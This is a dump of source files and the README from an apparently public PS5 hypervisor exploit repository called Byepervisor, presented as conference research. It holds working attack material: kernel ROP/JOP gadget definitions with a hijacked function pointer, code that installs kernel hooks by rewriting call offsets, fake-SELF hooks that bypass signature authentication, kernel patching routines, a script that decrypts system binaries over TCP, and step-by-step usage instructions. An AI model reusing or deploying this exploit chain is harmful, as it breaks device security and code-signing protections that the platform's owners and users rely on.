KROP_GADGET_MOV_RAX_QWORD_PTR_RAX kdlgadget(KERNEL_GADGET_MOV_RAX_QWORD_PTR_RAX) 25 | #define KROP_GADGET_MOV_QWORD_PTR_RAX_0 kdlgadget(KERNEL_GADGET_MOV_QWORD_PTR_RAX_0) 26 | #define KROP_GADGET_SETJMP kdlgadget(KERNEL_GADGET_SETJMP) 27 | #define KROP_GADGET_LONGJMP kdlgadget(KERNEL_GADGET_LONGJMP) 28 | #define KROP_GADGET_JOP1 kdlgadget(KERNEL_GADGET_JOP1) 29 | #define KROP_GADGET_JOP2 kdlgadget(KERNEL_GADGET_JOP2) 30 | 31 | #define KROP_HV_JMP_TABLE kdlsym(KERNEL_SYM_HV_JMP_TABLE) 32 | #define KROP_HV_JMP_TABLE_HYPERCALL_ENT KROP_HV_JMP_TABLE + 0x70 33 | #define KROP_DATA_CAVE kdlsym(KERNEL_SYM_DATA_CAVE) 34 | #define KROP_FUNC_PTR kdlsym(KERNEL_SYM_HIJACKED_FUNC_PTR) 35 | #define KROP_JOP1_OFFSET_FROM_JMP_TABLE KROP_GADGET_JOP1 - KROP_HV_JMP_TABLE 36 | #define KROP_JOP2_OFFSET_FROM_JMP_TABLE KROP_GADGET_JOP2 - KROP_HV_JMP_TABLE 37 | 38 | #define KROP_DATA_CAVE_SAVECTX KROP_DATA_CAVE + 0x4 39 | #define KROP_DATA_CAVE_ROPCTX KROP_DATA_CAVE + 0x44 40 | #define KROP_DATA_CAVE_RSI_PTR KROP_DATA_CAVE + 0x84 41 | #define KROP_DATA_CAVE_ROP_CHAIN KROP_DATA_CAVE + 0x8C 42 | 43 | struct krop_manage 44 | { 45 | int core; 46 | int done; 47 | int pipe_fds[2]; 48 | pthread_t thread; 49 | uint64_t thread_kstack; 50 | uint64_t tag1; 51 | uint64_t tag2; 52 | uint64_t kstack_orig_ret_addr; 53 | uint64_t kstack_orig_arg; 54 | uint64_t kstack_ret_addr_offset; 55 | uint64_t kstack_fake_stack_offset; 56 | char fake_stack[0x1000]; 57 | char *fake_stack_cur; 58 | }; 59 | 60 | struct krop_manage *create_krop_chain(); 61 | void krop_push(struct krop_manage *krop, uint64_t val); 62 | void krop_push_write8(struct krop_manage *krop, uint64_t dest, uint64_t val); 63 | void krop_push_exit(struct krop_manage *krop); 64 | void krop_push_infloop(struct krop_manage *krop); 65 | void krop_copy_kernel(struct krop_manage *krop); 66 | void krop_run(struct krop_manage *krop); 67 | void krop_dump_fake_stack(struct krop_manage *krop, int in_kernel); 68 | void krop_dump_real_stack(struct krop_manage *krop); 69 | 70 | #endif // KROP_H -------------------------------------------------------------------------------- /hen/include/fself.h: -------------------------------------------------------------------------------- 1 | #ifndef FSELF_H 2 | #define FSELF_H 3 | 4 | #define ET_EXEC 0x0002 5 | #define ET_SCE_EXEC 0xFE00 6 | #define ET_SCE_DYNEXEC 0xFE10 7 | #define ET_SCE_DYNAMIC 0xFE18 8 | 9 | extern "C" { 10 | #include 11 | #include 12 | #include 13 | } 14 | 15 | enum SelfFormat { 16 | NONE, 17 | ELF, 18 | SELF 19 | }; 20 | 21 | struct ElfHeader { 22 | uint8_t e_ident[0x10]; 23 | uint16_t e_type; 24 | uint16_t e_machine; 25 | uint32_t e_version; 26 | uint64_t e_entry; 27 | uint64_t e_phoff; 28 | uint64_t e_shoff; 29 | uint32_t e_flags; 30 | uint16_t e_ehsize; 31 | uint16_t e_phentsize; 32 | uint16_t e_phnum; 33 | uint16_t e_shentsize; 34 | uint16_t e_shnum; 35 | uint16_t e_shstrndx; 36 | }; 37 | 38 | struct SelfHeader { 39 | uint32_t magic; 40 | uint32_t unk04; 41 | union { 42 | uint32_t raw; 43 | struct { 44 | uint8_t content_type; 45 | uint8_t program_type : 4; 46 | uint8_t key_revision : 4; 47 | }; 48 | }; 49 | uint16_t header_size; 50 | uint16_t metadata_size; 51 | uint64_t file_size; 52 | uint16_t entry_num; 53 | uint16_t flags; 54 | uint8_t padding[0x4]; 55 | }; 56 | 57 | struct SelfContext { 58 | SelfFormat format; 59 | uint32_t authType; 60 | uint64_t headerSize; 61 | uint64_t currentSegmentTable; 62 | uint32_t currentSegmentTableIndex; 63 | uint32_t unk1C; 64 | uint64_t unk20; 65 | uint64_t sizeInPages; //smth like that 66 | uint32_t serviceId; 67 | uint32_t unk34; 68 | union { 69 | SelfHeader* selfHeader; 70 | ElfHeader* elfHeader; 71 | }; 72 | uint8_t mtx[0x20]; 73 | }; 74 | 75 | struct SelfAuthInfo { 76 | uint64_t cr_paid; 77 | uint64_t cr_capability[4]; 78 | uint64_t cr_attribute[4]; 79 | uint64_t cr_sharedSecret[8]; 80 | }; 81 | struct SelfFakeAuthInfo { 82 | uint64_t size; 83 | SelfAuthInfo info; 84 | }; 85 | 86 | struct MailboxVerifyHeaderMessage { 87 | uint32_t cmd; 88 | uint32_t res; 89 | uint64_t headerPa; 90 | uint64_t headerSize; 91 | uint32_t unk18; 92 | uint32_t serviceId; 93 | uint64_t paid; 94 | }; 95 | 96 | struct MailboxLoadSelfSegmentMessage { 97 | uint32_t cmd; 98 | uint32_t res; 99 | uint64_t pa; 100 | uint32_t segmentIndex; 101 | uint16_t unk14; 102 | uint16_t unk16; 103 | uint8_t unk18[0x18]; 104 | uint32_t serviceId; 105 | }; 106 | 107 | struct MailboxLoadSelfBlockMessage { 108 | uint32_t cmd; 109 | uint32_t res; 110 | uint64_t unk08; 111 | uint64_t unk10; 112 | uint64_t unk18; 113 | uint64_t unk20; 114 | uint64_t unk28; 115 | uint32_t unk30; 116 | uint32_t unk34; 117 | uint32_t unk38; 118 | uint32_t segmentIndex; 119 | uint32_t blockIndex; 120 | uint32_t serviceId; 121 | uint8_t digest[0x20]; 122 | uint8_t ext_info[0x8]; 123 | uint16_t unk70; 124 | uint16_t unk72; 125 | uint16_t unk74; 126 | }; 127 | 128 | struct MailboxLoadMultipleSelfBlocksMessage { 129 | uint32_t cmd; 130 | uint32_t res; 131 | uint64_t unk08; //pa to 8 pa's of input 132 | uint64_t unk10; //pa to 8 pa's of output (right after the above) 133 | uint64_t unk18; //pa to digests 134 | uint32_t segmentIndex; 135 | uint32_t firstBlockIndex; 136 | uint32_t nBlocks; 137 | uint32_t serviceId; 138 | }; 139 | 140 | int sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook(SelfContext* ctx, SelfAuthInfo* parentAuth, int pathid, SelfAuthInfo* selfAuth); 141 | int _sceSblAuthMgrVerifySelfHeader_hook(SelfContext* ctx); 142 | int _sceSblAuthMgrSmLoadSelfSegment_sceSblServiceMailbox(uint64_t handle, MailboxLoadSelfSegmentMessage* input, MailboxLoadSelfSegmentMessage* output); 143 | int _sceSblAuthMgrSmLoadSelfBlock_sceSblServiceMailbox(uint64_t handle, MailboxLoadSelfBlockMessage* input, MailboxLoadSelfBlockMessage* output); 144 | int _sceSblAuthMgrSmLoadMultipleSelfBlocks_sceSblServiceMailbox(uint64_t handle, MailboxLoadMultipleSelfBlocksMessage* input, MailboxLoadMultipleSelfBlocksMessage* output); 145 | int sceSblACMgrGetPathId_hook(const char* path); 146 | void apply_fself_hooks(); 147 | 148 | #endif // FSELF_H -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Byepervisor 2 | --- 3 | ## Summary 4 | PS5 hypervisor exploit for <= 2.xx firmware. Two vulnerabilities and exploit chains are contained in the repo, they are independent of each other and either can be used. One exploit is provided mainly just for preservation (`/_old_jump_table_exploit`), only the primary exploit chain needs to be used (QA flags exploit). 5 | 6 | **This research was presented at hardwear.io NL 2024, slides can be found [here](https://github.com/PS5Dev/Byepervisor/blob/main/Byepervisor_%20Breaking%20PS5%20Hypervisor%20Security.pdf). The talk will be published soon.** 7 | 8 | **Jump Table Exploit** 9 | 10 | The first exploit uses a vulnerability where hypervisor code jump tables are shared with the guest kernel, and is contained in `/_old_jump_table_exploit/`. By hijacking the jump table entry for the `VMMCALL_HV_SET_CPUID_PS4` hypercall, code execution in the hypervisor can be achieved. We run a ROP chain that disables Nested Paging (NPT) and Guest Mode Execute Trap (GMET), which allows us to disable eXecute Only Memory (XOM) aka `xotext` in the kernel Page Table Entries (PTEs) to dump it, as well as enabling write in the PTEs to hook/patch the kernel as well. 11 | 12 | This method requires a fair number of gadgets and offsets, which is the main reason this exploit isn't the primary one. It also currently only breaks the hypervisor on the core the ROP chain runs on, the hypervisor is still active on other cores and would need to be disabled. 13 | 14 | **QA Flags Exploit** 15 | 16 | The primary and recommended exploit takes advantage of the fact that system Quality Assurance (QA) flags are shared between the hypervisor and the guest kernel. When the hypervisor initializes, the init code for constructing nested page tables will check QA flags for the System Level (SL) debugging flag. If this flag is set, the nested Page Table Entries (PTEs) will not have the `xotext` bit set for kernel .text pages, and further the kernel .text pages will also have the write bit set. 17 | 18 | These flags are not reinitialized by the secure loader upon resume from sleep mode, though the hypervisor is. By setting the SL flag, putting the system to sleep, and resuming, we can edit the guest kernel's pagetables to make kernel .text pages read/writable, allowing dumping of the kernel and hooks/patches. 19 | 20 | ## Important Notes 21 | - Currently only 2.50 FW is supported for Homebrew Enabler (HEN), support for other firmware versions will be added at a later time. 22 | - The exploit payload (byepervisor.elf) will need to be sent twice, once before suspending the system and again after resuming. 23 | - You will have to put the system into rest mode manually yourself 24 | - Kernel dump from QA flags exploit will not contain hypervisor's .data region at the moment, if this is important for you, dump using the jump table exploit after porting or disable nested paging first (this is a TODO) 25 | 26 | ## Currently included 27 | - Kernel dumping code (commented out, running this code *will* panic the system as it will try to dump as much as it can before hitting unmapped memory) 28 | - Code to decrypt system library SELFs over TCP 29 | - Homebrew enabler (HEN) for 2.50 firmware (fself+fpkg) 30 | 31 | ## Build notes 32 | This exploit payload is built using the [PS5-Payload-Dev SDK](https://github.com/ps5-payload-dev/sdk). Note also that the build for `hen/` is slightly special, as it gets compiled to a flat binary thats copied into a kernel code cave. The entirety of code in `hen/` runs in supervisor/kernel mode. 33 | 34 | ## How to use 35 | 1. Run the UMTX exploit chain in webkit or BD-J and run an ELF loader 36 | 2. Send `byepervisor.elf` 37 | 3. Put the system into rest mode 38 | 4. Power system back on 39 | 5. Send `byepervisor.elf` again (if you use John Tornblom's ELF loader, the ELF loader should continue to accept payloads after resume, if not the UMTX exploit will need to be run again) 40 | 41 | ## Future work 42 | - [ ] Support more firmwares (offsets) 43 | - [ ] Make it so `byepervisor.elf` only needs to be sent once 44 | - [ ] Automatically suspend the system? 45 | - [ ] Patch vmcbs with QA flags exploit to dump hypervisor data 46 | 47 | ## Credits / Shouts 48 | - [ChendoChap](https://github.com/ChendoChap) 49 | - [flatz](https://x.com/flat_z) 50 | - [fail0verflow](https://fail0verflow.com/blog/) 51 | - [Znullptr](https://twitter.com/Znullptr) 52 | - [kiwidog](https://kiwidog.me/) 53 | - [sleirsgoevy](https://x.com/sleirsgoevy) 54 | 55 | ## Discord 56 | Those interested in contributing to PS5 research/dev can join a discord I have setup [here](https://discord.gg/kbrzGuH3F6). 57 | -------------------------------------------------------------------------------- /hen/src/hook.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "hook.h" 6 | #include "kdlsym.h" 7 | 8 | #include "hooks/2_50.h" 9 | 10 | struct hook *find_hook(hook_id id) 11 | { 12 | uint64_t fw_ver; 13 | struct hook *hooks; 14 | struct hook *cur_hook; 15 | int num_hooks; 16 | 17 | fw_ver = get_fw_version(); 18 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 19 | 20 | switch (fw_ver) { 21 | // case 0x1050000: 22 | // hooks = (struct hook *) &g_kernel_hooks_105; 23 | // num_hooks = sizeof(g_kernel_hooks_105) / sizeof(struct hook); 24 | // break; 25 | case 0x2500000: 26 | hooks = (struct hook *) &g_kernel_hooks_250; 27 | num_hooks = sizeof(g_kernel_hooks_250) / sizeof(struct hook); 28 | break; 29 | default: 30 | return 0; 31 | } 32 | 33 | printf("find_hook: num_hooks = %d\n", num_hooks); 34 | 35 | for (int i = 0; i < num_hooks; i++) { 36 | cur_hook = &hooks[i]; 37 | printf("hook_func_call: hook->id = %d\n", cur_hook->id); 38 | if (cur_hook->id == id) { 39 | return cur_hook; 40 | } 41 | } 42 | 43 | return 0; 44 | } 45 | 46 | int install_raw_hook(uint64_t call_addr, void *func) 47 | { 48 | uint64_t call_install; 49 | int32_t call_rel32; 50 | 51 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 52 | 53 | printf("install_raw_hook: call_addr = 0x%llx, func = %p\n", call_addr, func); 54 | 55 | // Calculate rel32 56 | call_rel32 = (int32_t) ((uint64_t) (func) - call_addr) - 5; // Subtract 5 for call opcodes 57 | 58 | printf("install_raw_hook: call_rel32=0x%x\n", call_rel32); 59 | 60 | // Install hook 61 | printf("hook_func_call: installing hook to 0x%lx (rel32=0x%x)\n", call_addr, call_rel32); 62 | 63 | call_install = call_addr + 1; 64 | *(uint32_t *) (call_install) = call_rel32; 65 | return 0; 66 | } 67 | 68 | int install_hook(hook_id id, void *func) 69 | { 70 | struct hook *hook_info; 71 | uint64_t call_addr; 72 | uint64_t call_install; 73 | int32_t call_rel32; 74 | 75 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 76 | printf("hook_func_call: hook id = %d\n", id); 77 | 78 | // Find info for this hook 79 | hook_info = find_hook(id); 80 | if (hook_info == 0) 81 | return -ENOENT; 82 | 83 | printf("hook_func_call: found hook\n"); 84 | 85 | // Calculate rel32 86 | call_addr = ktext(hook_info->call_offset); 87 | call_rel32 = (int32_t) ((uint64_t) (func) - call_addr) - 5; // Subtract 5 for call opcodes 88 | 89 | printf("hook_func_call: call_addr=0x%llx (call_rel32=0x%x)\n", call_addr, call_rel32); 90 | 91 | // Install hook 92 | printf("hook_func_call: installing hook to 0x%lx (rel32=0x%x)\n", call_addr, call_rel32); 93 | 94 | call_install = call_addr + 1; 95 | *(uint32_t *) (call_install) = call_rel32; 96 | return 0; 97 | } 98 | 99 | void reset_hook(hook_id id) 100 | { 101 | struct hook *hook_info; 102 | uint64_t call_addr; 103 | uint64_t call_install; 104 | int32_t call_rel32; 105 | void *func; 106 | 107 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 108 | printf("reset_hook: hook id = %d\n", id); 109 | 110 | // Find info for this hook 111 | hook_info = find_hook(id); 112 | if (hook_info == 0) 113 | return; 114 | 115 | printf("reset_hook: found hook\n"); 116 | 117 | // Calculate rel32 118 | func = (void *) ktext(hook_info->orig_func_offset); 119 | call_addr = ktext(hook_info->call_offset); 120 | call_rel32 = (int32_t) ((uint64_t) (func) - call_addr) - 5; // Subtract 5 for call opcodes 121 | 122 | printf("reset_hook: call_addr=0x%llx (call_rel32=0x%x)\n", call_addr, call_rel32); 123 | 124 | // Install hook 125 | printf("reset_hook: installing hook to 0x%lx (rel32=0x%x)\n", call_addr, call_rel32); 126 | 127 | call_install = call_addr + 1; 128 | *(uint32_t *) (call_install) = call_rel32; 129 | } 130 | 131 | int hook_is_development_mode() 132 | { 133 | return 0xc001; 134 | } 135 | 136 | int apply_test_hook() 137 | { 138 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 139 | 140 | printf("sys_is_development_mode() -> isDevelopmentMode()\n"); 141 | return install_hook(HOOK_TEST_SYS_IS_DEVELOPMENT_MODE, (void *) &hook_is_development_mode); 142 | } 143 | -------------------------------------------------------------------------------- /src/patching.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | extern "C" 9 | { 10 | #include 11 | } 12 | 13 | #include "debug_log.h" 14 | #include "kdlsym.h" 15 | #include "patching.h" 16 | 17 | #include "patches/1_05.h" 18 | #include "patches/2_50.h" 19 | 20 | int apply_kernel_patches() 21 | { 22 | uint64_t fw_ver; 23 | uint64_t kernel_base; 24 | uint64_t patch_addr; 25 | struct patch *patches; 26 | struct patch *cur_patch; 27 | int num_patches; 28 | 29 | fw_ver = kernel_get_fw_version() & 0xFFFF0000; 30 | kernel_base = ktext(0); 31 | 32 | SOCK_LOG("apply_kernel_patches: fw_ver=0x%lx\n", fw_ver); 33 | 34 | switch (fw_ver) { 35 | case 0x1050000: 36 | patches = (struct patch *) &g_kernel_patches_105; 37 | num_patches = sizeof(g_kernel_patches_105) / sizeof(struct patch); 38 | break; 39 | case 0x2500000: 40 | patches = (struct patch *) &g_kernel_patches_250; 41 | num_patches = sizeof(g_kernel_patches_250) / sizeof(struct patch); 42 | break; 43 | default: 44 | return -ENOENT; 45 | } 46 | 47 | SOCK_LOG("[+] Applying kernel patches...\n"); 48 | for (int i = 0; i < num_patches; i++) { 49 | cur_patch = &patches[i]; 50 | patch_addr = kernel_base + cur_patch->offset; 51 | SOCK_LOG(" [+] %s (offset=0x%lx, size=0x%x)\n", cur_patch->purpose, cur_patch->offset, cur_patch->size); 52 | 53 | kernel_copyin(cur_patch->data, patch_addr, cur_patch->size); 54 | } 55 | 56 | return 0; 57 | } 58 | 59 | // struct hook *find_hook(hook_id id) 60 | // { 61 | // uint64_t fw_ver; 62 | // struct hook *hooks; 63 | // struct hook *cur_hook; 64 | // int num_hooks; 65 | 66 | // fw_ver = kernel_get_fw_version() & 0xFFFF0000; 67 | 68 | // switch (fw_ver) { 69 | // // case 0x1050000: 70 | // // hooks = (struct hook *) &g_kernel_hooks_105; 71 | // // num_hooks = sizeof(g_kernel_hooks_105) / sizeof(struct hook); 72 | // // break; 73 | // case 0x2500000: 74 | // hooks = (struct hook *) &g_kernel_hooks_250; 75 | // num_hooks = sizeof(g_kernel_hooks_250) / sizeof(struct hook); 76 | // break; 77 | // default: 78 | // return NULL; 79 | // } 80 | 81 | // for (int i = 0; i < num_hooks; i++) { 82 | // cur_hook = &hooks[i]; 83 | // if (cur_hook->id == id) { 84 | // return cur_hook; 85 | // } 86 | // } 87 | 88 | // return NULL; 89 | // } 90 | 91 | // int install_hook(hook_id id, void *func) 92 | // { 93 | // struct hook *hook_info; 94 | // uint64_t kernel_cave_addr; 95 | // uint64_t call_addr; 96 | // int32_t call_rel32; 97 | // char dump_buf[0x10]; 98 | 99 | // // Find info for this hook 100 | // hook_info = find_hook(id); 101 | // if (hook_info == NULL) 102 | // return -ENOENT; 103 | 104 | // SOCK_LOG("hook_func_call: found hook (%s)\n", hook_info->purpose); 105 | 106 | // // Copy hook into kernel code cave 107 | // kernel_cave_addr = ktext(hook_info->func_offset); 108 | // SOCK_LOG("hook_func_call: copying hook to 0x%lx\n", kernel_cave_addr); 109 | 110 | // kernel_copyin(func, kernel_cave_addr, 0x1000); 111 | // kernel_copyout(kernel_cave_addr, &dump_buf, 0x10); 112 | // DumpHex(&dump_buf, 0x10); 113 | 114 | // // Calculate rel32 115 | // call_addr = ktext(hook_info->call_offset); 116 | // call_rel32 = (int32_t) (kernel_cave_addr - call_addr) - 5; // Subtract 5 for call opcodes 117 | 118 | // // Install hook 119 | // SOCK_LOG("hook_func_call: installing hook to 0x%lx (rel32=0x%x)\n", call_addr, call_rel32); 120 | 121 | // kernel_copyin(&call_rel32, call_addr + 1, sizeof(call_rel32)); 122 | // return 0; 123 | // } 124 | 125 | // int hook_is_development_mode() 126 | // { 127 | // return 0xc001; 128 | // } 129 | 130 | // int apply_test_hook() 131 | // { 132 | // return install_hook(HOOK_TEST_SYS_IS_DEVELOPMENT_MODE, (void *) &hook_is_development_mode); 133 | // } 134 | 135 | // int apply_fself_hooks() 136 | // { 137 | // if (install_hook(HOOK_SCE_SBL_AUTHMGR_IS_LOADABLE_2, (void *) &OnSceSblAuthMgrIsLoadable2) != 0) 138 | // if (install_hook(HOOK_SCE_SBL_AUTHMGR_IS_LOADABLE__GET_PATH_ID, (void *) & 139 | // if (install_hook(HOOK_SCE_SBL_AUTHMGR_SM_LOAD_SELF_BLOCK__MAILBOX, (void *) & 140 | // if (install_hook(HOOK_SCE_SBL_AUTHMGR_SM_LOAD_SELF_SEGMENT__MAILBOX, (void *) & 141 | // if (install_hook(HOOK_SCE_SBL_AUTHMGR_VERIFY_HEADER_A, (void *) & 142 | // if (install_hook(HOOK_SCE_SBL_AUTHMGR_VERIFY_HEADER_B, (void *) & 143 | // } 144 | -------------------------------------------------------------------------------- /hen/include/fake.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Credits: 3 | * Inital Structures: flat_z 4 | * Structs and asserts: mira-vnext/kiwidog 5 | */ 6 | #ifndef FAKE_H 7 | #define FAKE_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | /** 21 | * @brief This is just here to prevent errors, too lazy to remove logging 22 | * 23 | */ 24 | #define WriteLog(x, y, ...) 25 | 26 | /** 27 | * C++ to C fixes 28 | */ 29 | #define false 0 30 | #define true 1 31 | 32 | /** 33 | * Fake Self 34 | */ 35 | #pragma region FAKE SELF 36 | 37 | // Forward declarations 38 | struct self_auth_info_t; 39 | struct self_context_t; 40 | struct self_ex_info_t; 41 | struct self_header_t; 42 | enum self_format_t : int; 43 | struct self_fake_auth_info_t; 44 | struct self_entry_t; 45 | 46 | /** 47 | * SELF authentication information 48 | */ 49 | typedef struct self_auth_info_t 50 | { 51 | uint64_t paid; 52 | uint64_t caps[4]; 53 | uint64_t attrs[4]; 54 | uint8_t unk[0x40]; 55 | }self_auth_info_t, SelfAuthInfo; 56 | 57 | /** 58 | * SELF kernel context 59 | */ 60 | typedef struct self_context_t 61 | { 62 | uint32_t format; 63 | uint32_t elf_auth_type; 64 | uint32_t total_header_size; 65 | uint32_t unk_0C; 66 | void *segment; 67 | uint32_t unk_18; 68 | uint32_t ctx_id; 69 | uint64_t svc_id; 70 | uint64_t unk_28; 71 | uint32_t buf_id; 72 | uint32_t unk_34; 73 | struct self_header_t *header; 74 | uint8_t mtx_struct[0x20]; 75 | } self_context_t, SelfContext; 76 | 77 | /** 78 | * SELF extra information 79 | */ 80 | typedef struct self_ex_info_t 81 | { 82 | uint64_t paid; 83 | uint64_t ptype; 84 | uint64_t app_version; 85 | uint64_t firmware_version; 86 | uint8_t digest[0x20]; 87 | } self_ex_info_t, SelfExInfo; 88 | 89 | /** 90 | * SELF entry 91 | */ 92 | typedef struct self_entry_t 93 | { 94 | uint32_t props; 95 | uint32_t reserved; 96 | uint64_t offset; 97 | uint64_t filesz; 98 | uint64_t memsz; 99 | } self_entry_t, SelfEntry; 100 | 101 | /** 102 | * SELF header 103 | */ 104 | typedef struct self_header_t 105 | { 106 | uint32_t magic; 107 | uint8_t version; 108 | uint8_t mode; 109 | uint8_t endian; 110 | uint8_t attr; 111 | uint32_t key_type; 112 | uint16_t header_size; 113 | uint16_t meta_size; 114 | uint64_t file_size; 115 | uint16_t num_entries; 116 | uint16_t flags; 117 | uint32_t reserved; 118 | struct self_entry_t entries[0]; 119 | } self_header_t, SelfHeader; 120 | 121 | /** 122 | * SELF fake authentication information 123 | */ 124 | typedef struct self_fake_auth_info_t 125 | { 126 | uint64_t size; 127 | SelfAuthInfo info; 128 | } self_fake_auth_info_t, SelfFakeAuthInfo; 129 | 130 | /** 131 | * SELF formats 132 | */ 133 | enum self_format_t : int 134 | { 135 | /** 136 | * No Specified format 137 | */ 138 | SF_None, 139 | 140 | /** 141 | * RAW elf format 142 | */ 143 | SF_Elf, 144 | 145 | /** 146 | * SELF format 147 | */ 148 | SF_Self, 149 | 150 | /** 151 | * Count of formats 152 | */ 153 | SF_Count 154 | }; 155 | 156 | enum 157 | { 158 | LoadSelfSegment = 2, 159 | LoadSelfBlock = 6, 160 | 161 | SelfMagic = 0x1D3D154F, 162 | ElfMagic = 0x464C457F, 163 | 164 | SelfPtypeFake = 1, 165 | 166 | AuthInfoSize = 136, 167 | }; 168 | 169 | struct mailbox_authmgr_verify_header_msg { 170 | uint32_t cmd; 171 | uint32_t res; 172 | uint64_t headerPa; 173 | uint64_t headerSize; 174 | uint32_t unk18; 175 | uint32_t serviceId; 176 | uint64_t paid; 177 | }; 178 | 179 | struct mailbox_authmgr_load_self_segment_msg { 180 | uint32_t cmd; 181 | uint32_t res; 182 | uint64_t pa; 183 | uint32_t segmentIndex; 184 | uint16_t unk14; 185 | uint16_t unk16; 186 | uint8_t unk18[0x18]; 187 | uint32_t serviceId; 188 | }; 189 | 190 | struct mailbox_authmgr_load_self_block_msg { 191 | uint32_t cmd; 192 | uint32_t res; 193 | uint64_t unk08; 194 | uint64_t unk10; 195 | uint64_t unk18; 196 | uint64_t unk20; 197 | uint64_t unk28; 198 | uint32_t unk30; 199 | uint32_t unk34; 200 | uint32_t unk38; 201 | uint32_t segmentIndex; 202 | uint32_t blockIndex; 203 | uint32_t serviceId; 204 | uint8_t digest[0x20]; 205 | uint8_t ext_info[0x8]; 206 | uint16_t unk70; 207 | uint16_t unk72; 208 | uint16_t unk74; 209 | }; 210 | 211 | struct mailbox_authmgr_load_multiple_self_blocks_msg { 212 | uint32_t cmd; 213 | uint32_t res; 214 | uint64_t unk08; //pa to 8 pa's of input 215 | uint64_t unk10; //pa to 8 pa's of output (right after the above) 216 | uint64_t unk18; //pa to digests 217 | uint32_t segmentIndex; 218 | uint32_t firstBlockIndex; 219 | uint32_t nBlocks; 220 | uint32_t serviceId; 221 | }; 222 | 223 | #pragma endregion 224 | 225 | #endif /* FAKE_H */ -------------------------------------------------------------------------------- /dump_self.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import struct 4 | import time 5 | 6 | # Console info 7 | CONSOLE_IP = "10.0.0.217" 8 | CONSOLE_PORT = 9004 9 | 10 | ctrl_header_fmt = ' 0: 51 | received = 0 52 | self.data = bytes() 53 | while received < size: 54 | self.data += self.socket.recv(size - received) 55 | received = len(self.data) 56 | 57 | # Update object 58 | self.cmd = cmd 59 | self.status = status 60 | 61 | def transact(self): 62 | try: 63 | self.send() 64 | self.recv() 65 | except Exception as err: 66 | print(f"Exception {err=}, {type(err)=}") 67 | raise 68 | return self.status 69 | 70 | def build_packet(s, cmd, data): 71 | packet = rpc_packet(s) 72 | packet.set_cmd(cmd) 73 | packet.set_data(data) 74 | return packet 75 | 76 | def ping(s): 77 | ping_packet = build_packet(s, 1, b'') 78 | return ping_packet.transact() 79 | 80 | def die(s): 81 | die_packet = build_packet(s, 2, b'') 82 | return die_packet.transact() 83 | 84 | def get_fw(s): 85 | get_fw_packet = build_packet(s, 3, b'') 86 | return get_fw_packet.transact() 87 | 88 | def get_dir_selfs(s, path): 89 | get_dir_selfs_packet = build_packet(s, 4, path) 90 | get_dir_selfs_packet.transact() 91 | return get_dir_selfs_packet.data 92 | 93 | def decrypt_self(s, path): 94 | decrypt_self_packet = build_packet(s, 5, path) 95 | decrypt_self_packet.transact() 96 | if decrypt_self_packet.status == 0: 97 | return decrypt_self_packet.data 98 | return b'' 99 | 100 | def fw_int_to_str(fw_ver): 101 | fw_str = "" 102 | if fw_ver == 0x1000000: 103 | fw_str = "1.00" 104 | elif fw_ver == 0x1020000: 105 | fw_str = "1.02" 106 | elif fw_ver == 0x1050000: 107 | fw_str = "1.05" 108 | elif fw_ver == 0x1100000: 109 | fw_str = "1.10" 110 | elif fw_ver == 0x1110000: 111 | fw_str = "1.11" 112 | elif fw_ver == 0x1120000: 113 | fw_str = "1.12" 114 | elif fw_ver == 0x1130000: 115 | fw_str = "1.13" 116 | elif fw_ver == 0x1140000: 117 | fw_str = "1.14" 118 | elif fw_ver == 0x2000000: 119 | fw_str = "2.00" 120 | elif fw_ver == 0x2200000: 121 | fw_str = "2.20" 122 | elif fw_ver == 0x2250000: 123 | fw_str = "2.25" 124 | elif fw_ver == 0x2260000: 125 | fw_str = "2.26" 126 | elif fw_ver == 0x2300000: 127 | fw_str = "2.30" 128 | elif fw_ver == 0x2500000: 129 | fw_str = "2.50" 130 | return fw_str 131 | 132 | def dump_selfs_in_dir(s, pc_dir, ps5_dir): 133 | failed_dumps = 0 134 | 135 | # Get listing 136 | selfs_list = get_dir_selfs(s, bytes(ps5_dir, 'ascii') + b'\x00') 137 | 138 | # Iterate 139 | files = selfs_list.split(b"\x00") 140 | for file in files: 141 | if file == b'': 142 | break 143 | 144 | file_name = str(file, 'ascii') 145 | 146 | if file_name in blacklist: 147 | continue 148 | 149 | # PS5 file path 150 | ps5_file_path = "{}/{}".format(ps5_dir, file_name) 151 | 152 | # Decrypt file 153 | file_contents = decrypt_self(s, bytes(ps5_file_path, 'ascii') + b'\x00') 154 | if file_contents == b'': 155 | print("[!] Failed to dump {}".format(file_name)) 156 | failed_dumps += 1 157 | 158 | # Create output file 159 | file_name = file_name.replace(".sprx", ".elf") 160 | 161 | dump_dir = "{}/{}".format(pc_dir, ps5_dir) 162 | dump_path = "{}/{}".format(dump_dir, file_name) 163 | os.makedirs(dump_dir, 511, True) 164 | 165 | #print("[+] Dumping {}...".format(dump_path)) 166 | 167 | dump_file = open(dump_path, 'wb') 168 | dump_file.write(file_contents) 169 | dump_file.close() 170 | 171 | print("[*] Finished dumping directory '{}', failed decryptions: {}".format(ps5_dir, failed_dumps)) 172 | 173 | def dump_selfs(): 174 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 175 | s.connect((CONSOLE_IP, CONSOLE_PORT)) 176 | s.settimeout(60) 177 | 178 | # die(s) 179 | # return 180 | 181 | # Get firmware version 182 | fw = fw_int_to_str(get_fw(s)) 183 | if fw == "": 184 | print("[!] Failed to read firmware version") 185 | return 186 | 187 | print("[+] Firmware version: {}".format(fw)) 188 | 189 | # PC dump path 190 | dump_path = "./dump/{}".format(fw) 191 | 192 | # Dump known paths 193 | dump_selfs_in_dir(s, dump_path, "/") 194 | 